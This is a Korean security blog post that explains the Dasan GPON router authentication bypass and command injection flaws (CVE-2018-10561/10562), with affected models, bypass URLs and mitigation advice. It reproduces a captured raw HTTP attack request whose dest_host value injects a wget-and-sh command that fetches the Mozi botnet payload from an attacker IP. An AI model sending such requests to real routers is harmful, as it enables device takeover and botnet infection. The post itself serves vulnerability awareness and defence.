Security & Hacking/Vulnerability

[CVE-2018-10561-10562] Dasan GPON Routers Authentication Bypass CMD Injection

도라 2021. 6. 1. 19:03

1. 개념

vpnMentor의 연구원들은 한국에 본사를 둔 다산 존 솔루션 제조업체의 취약점에 대해 2018년도에 발표한 적이 있다. GPON 펌웨어 분석 결과 장치의 모든 인증을 우회하는 취약점과 우회를 통해 다른 명령을 주입할 수 있는 취약점이 발견됐다. 이는 중국의 보안 IT회사에서 공격자가 취약한 라우터를 봇넷 악성 코드 네트워크에 추가하기 위해 두 가지 결함을 모두 악용하기 시작했다는 사실이 발견된 후, 한국에서도 공격이 많이 탐지되고 있다.

 

 

2. 취약시스템

Dasan GPON Routers ZNID-GPON-25xx senes

Dasan GPON Routers H640series

외 Dasan GPON 가정용 라우터

 

 

 3. 공격 설명

Dasan GPON Home Router에서 인증 우회 취약점(CVE-2018-10561), 임의 코드 삽입 취약점(CVE-2018-10562)이 발견되었고 이 취약점들을 결합하면 장치와 네트워크 모두 제어당하는 위험성이 있다.

 

- 인증 우회 취약점(CVE-2018-10561)

인증을 우회하는 취약점은 공격자가 취약한 라우터 URL에 ?images/문자열을 추가하는 것만으로도 로그인 인증 페이지를 쉽게 우회할 수 있다.  간단한 명령어 하나로 왜 인증 우회가 가능하나면, 다산 라우터는 외부에서 라우터 인터페스에 접근할 수 있는 원격관리 기능이 있으며 그중에서도 특정 라우터에서는 원격 ping을 허용하는 GponForm/ diag_Form 파일이 존재한다. 이러한 파일 뒤에 토큰 확인을 우회하는 images를 추가하여 우회하면 누구나 게시 요청을 보낼 수 있기 때문에 이러한 취약점이 존재하게 된 것이다. 예를 들자면, 하기와 같은 공격 시도가 있다. 

POST /GponForm/diag_Form?images/ HTTP/
GET /diag.html?images/ HTTP/
GET /menu.html?images/

 

- 임의 코드 삽입 취약점(CVE-2018-10562)

인증 우회를 통해 취약한 라우터와 연결되면 diag_action=ping 요청으로 dest_host 매개변수를 통해 공격자는 시스템에서 임의의 코드를 실행할 수 있다. 해당 라우터는 ping 결과를 /tmp에 저장하고 사용자가 /diag.html을 다시 방문할 때 이를 사용자에게 전송하기 때문에 공격자가 임의의 명령을 실행하고 출력을 검색하기 쉽다.

 

4. Rawdata를 참고해보자면, 공격자는 URL에 인증 우회를 위한 ?images/ 통해 해당 시스템에 접근 후 공격자 자신의 페이지에 있는 Mozi.m 파일을 /tmp 디렉터리에 gpon80으로 저장하고 쉘스크립트 파일을 실행시키려는 명령어 주입을 시도하고 있음을 알 수 있다. 

GET /GponForm/diag_Form?images?XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=

 

 

4. Raw data

POST /GponForm/diag_Form?images/ HTTP/1.1

Host: <피해 IP>

Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: Hello, World

Content-Length: 118

 

XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+<공격자 IP>/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0

 

 

5. 해결 방법

- 해당 라우터의 취약점이기에 벤더사에서 제공하는 최신 버전으로 주기적으로 업데이트를 해야 한다..

- 보안솔루션 장비로 해당 공격 접근 및 차단하여 대응한다.

 

 

 6. 참고자료

https://www.exploit-db.com/exploits/44576  (실제 공격에 사용되는 Exploit Code)

https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router/

https://thehackernews.com/2018/05/protect-router-hacking.html
https://security.stackexchange.com/questions/204096/how-do-the-cve-2018-10562-and-cve-2018-10561-exploits-work